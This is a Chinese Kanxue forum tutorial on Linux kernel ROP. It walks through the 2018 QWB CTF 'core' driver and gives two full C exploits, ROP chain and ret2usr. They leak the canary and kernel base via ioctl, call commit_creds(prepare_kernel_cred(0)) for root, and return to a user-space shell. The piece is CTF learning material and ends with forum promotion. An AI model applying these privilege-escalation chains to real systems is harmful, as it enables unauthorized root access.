Linux Kernel Exploit 内核漏洞学习(2)-ROP
本文为看雪论坛精华文章
看雪论坛作者ID:钞sir
ROP的全称为Return-oriented Programming,主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。
这种攻击方法在用户态的条件中运用的比较多,ret2shellcode、ret2libc、ret2text等ret2系列都利用到了ROP的思想,当然这种攻击手法在内核态同样是有用的,并且手法都基本一样。
这里我以2018年的强网杯中的core来进行演示和学习的,环境我已经放到的了github上面了,需要的可以自行下载学习。
kernel space to user space
我们知道Linux操作系统中用户态和内核态是相互隔离的,所以当系统从内核态返回到用户态的时候就必须要进行一些操作,才可以是两个状态分开,具体操作是:
如果使用iretq指令则还需要给出用户空间的一些信息(CS、eflags/rflags、esp/rsp等)。比如这里利用的iretq指令,在栈中就给出CS,eflags,sp,ss等信息。
当然,我们可以通过下来这这个函数来获取并保存这些信息:
unsigned long user_cs, user_ss, user_eflags, user_sp;
void save_stats(){
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}
提权函数
在内核态提权到root,一种简单的方法就是是执行下面这个函数:
commit_creds(prepare_kernel_cred(0));
这个函数会使我们分配一个新的cred结构(uid=0, gid=0等)并且把它应用到调用进程中,此时我们就是root权限了。
commit_creds和prapare_kernel_cred都是内核函数,一般可以通过cat /proc/kallsyms查看他们的地址,但是必须需要root权限。
现在我们可以先分析一下这个core.ko驱动了,首先查看一下这个ko文件的保护机制有哪些:
所以现在我们思路比较清晰了:
所以这里最重要的就是我们的ROPchain的构造了,为了方便调试,我们修改一下init文件:
- setsid /bin/cttyhack setuidgid 1000 /bin/sh
+ setsid /bin/cttyhack setuidgid 0 /bin/sh
获得基地址
首先我们查看一下qume中函数的地址:
int fd;
unsigned long user_cs, user_ss, user_eflags,user_sp;
void core_read(char *buf){
ioctl(fd,0x6677889B,buf);
//printf("[*]The buf is:%x\n",buf);
}
void change_off(long long v1){
ioctl(fd,0x6677889c,v1);
}
void core_write(char *buf,int a3){
write(fd,buf,a3);
}
void core_copy_func(long long size){
ioctl(fd,0x6677889a,size);
}
void shell(){
system("/bin/sh");
}
void save_stats(){
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}
int main(){
int ret,i;
char buf[0x100];
size_t vmlinux_base,core_base,canary;
size_t commit_creds_addr,prepare_kernel_cred_addr;
size_t commit_creds_offset = 0x9c8e0;
size_t prepare_kernel_cred_offset = 0x9cce0;
size_t rop[0x100];
save_stats();
fd = open("/proc/core",O_RDWR);
change_off(0x40);
core_read(buf);
/*
for(i=0;i<0x40;i++){
printf("[*] The buf[%x] is:%p\n",i,*(size_t *)(&buf[i]));
}
*/
vmlinux_base = *(size_t *)(&buf[0x20]) - 0x1dd6d1;
core_base = *(size_t *)(&buf[0x10]) - 0x19b;
prepare_kernel_cred_addr = vmlinux_base + prepare_kernel_cred_offset;
commit_creds_addr = vmlinux_base + commit_creds_offset;
canary = *(size_t *)(&buf[0]);
printf("[*]canary:%p\n",canary);
printf("[*]vmlinux_base:%p\n",vmlinux_base);
printf("[*]core_base:%p\n",core_base);
printf("[*]prepare_kernel_cred_addr:%p\n",prepare_kernel_cred_addr);
printf("[*]commit_creds_addr:%p\n",commit_creds_addr);
//junk
for(i = 0;i < 8;i++){
rop[i] = 0x66666666;
}
rop[i++] = canary; //canary
rop[i++] = 0; //rbp(junk)
rop[i++] = vmlinux_base + 0xb2f; //pop_rdi_ret;
rop[i++] = 0; //rdi
rop[i++] = prepare_kernel_cred_addr;
rop[i++] = vmlinux_base + 0xa0f49; //pop_rdx_ret
rop[i++] = vmlinux_base + 0x21e53; //pop_rcx_ret
rop[i++] = vmlinux_base + 0x1aa6a; //mov_rdi_rax_call_rdx
rop[i++] = commit_creds_addr;
rop[i++] = core_base + 0xd6; //swapgs_ret
rop[i++] = 0; //rbp(junk)
rop[i++] = vmlinux_base + 0x50ac2; //iretp_ret
rop[i++] = (size_t)shell;
rop[i++] = user_cs;
rop[i++] = user_eflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
core_write(rop,0x100);
core_copy_func(0xf000000000000100);
return 0;
}
rop[i++] = vmlinux_base + 0x21e53; //pop_rcx_ret
rop[i++] = vmlinux_base + 0x1aa6a; //mov_rdi_rax_call_rdx
ret2usr
最后这里在说另外一个方法也是基于ROP的方法。
ret2usr.c:
int fd;
unsigned long user_cs, user_ss, user_eflags,user_sp;
size_t commit_creds_addr,prepare_kernel_cred_addr;
void core_read(char *buf){
ioctl(fd,0x6677889B,buf);
//printf("[*]The buf is:%x\n",buf);
}
void change_off(long long v1){
ioctl(fd,0x6677889c,v1);
}
void core_write(char *buf,int a3){
write(fd,buf,a3);
}
void core_copy_func(long long size){
ioctl(fd,0x6677889a,size);
}
void shell(){
system("/bin/sh");
}
void save_stats(){
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}
void get_root(){
char* (*pkc)(int) = prepare_kernel_cred_addr;
void (*cc)(char*) = commit_creds_addr;
(*cc)((*pkc)(0));
}
int main(){
int ret,i;
char buf[0x100];
size_t vmlinux_base,core_base,canary;
size_t commit_creds_offset = 0x9c8e0;
size_t prepare_kernel_cred_offset = 0x9cce0;
size_t rop[0x100];
save_stats();
fd = open("/proc/core",O_RDWR);
change_off(0x40);
core_read(buf);
/*
for(i=0;i<0x40;i++){
printf("[*] The buf[%x] is:%p\n",i,*(size_t *)(&buf[i]));
}
*/
vmlinux_base = *(size_t *)(&buf[0x20]) - 0x1dd6d1;
core_base = *(size_t *)(&buf[0x10]) - 0x19b;
prepare_kernel_cred_addr = vmlinux_base + prepare_kernel_cred_offset;
commit_creds_addr = vmlinux_base + commit_creds_offset;
canary = *(size_t *)(&buf[0]);
printf("[*]canary:%p\n",canary);
printf("[*]vmlinux_base:%p\n",vmlinux_base);
printf("[*]core_base:%p\n",core_base);
printf("[*]prepare_kernel_cred_addr:%p\n",prepare_kernel_cred_addr);
printf("[*]commit_creds_addr:%p\n",commit_creds_addr);
//junk
for(i = 0;i < 8;i++){
rop[i] = 0x66666666;
}
rop[i++] = canary; //canary
rop[i++] = 0x0;
rop[i++] = (size_t)get_root;
rop[i++] = core_base + 0xd6; //swapgs_ret
rop[i++] = 0; //rbp(junk)
rop[i++] = vmlinux_base + 0x50ac2; //iretp_ret
rop[i++] = (size_t)shell;
rop[i++] = user_cs;
rop[i++] = user_eflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
core_write(rop,0x100);
core_copy_func(0xf000000000000100);
return 0;
}
- End -
看雪ID:钞sir
https://bbs.pediy.com/user-818602.htm
*本文由看雪论坛 钞Sir 原创,转载请注明来自看雪社区
开奖专区
恭喜 旋风_Shaw²🎭 获奖!!
请尽快将图书名称及收件信息(收件人、电话、收件地址)发送至微信公众号后台
注意:中奖后一周内未发来获奖信息者将视为自动放弃。
今日活动奖励:
PS:现在在京东购买,可享满100减50,基本上等于半价购书
参与形式:
在本文下方留言,
留言点赞最多的1名小伙伴
即可免费获得一本图书!
注意事项:
推荐文章++++
﹀
﹀
﹀
公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com
↙点击下方“阅读原文”,查看更多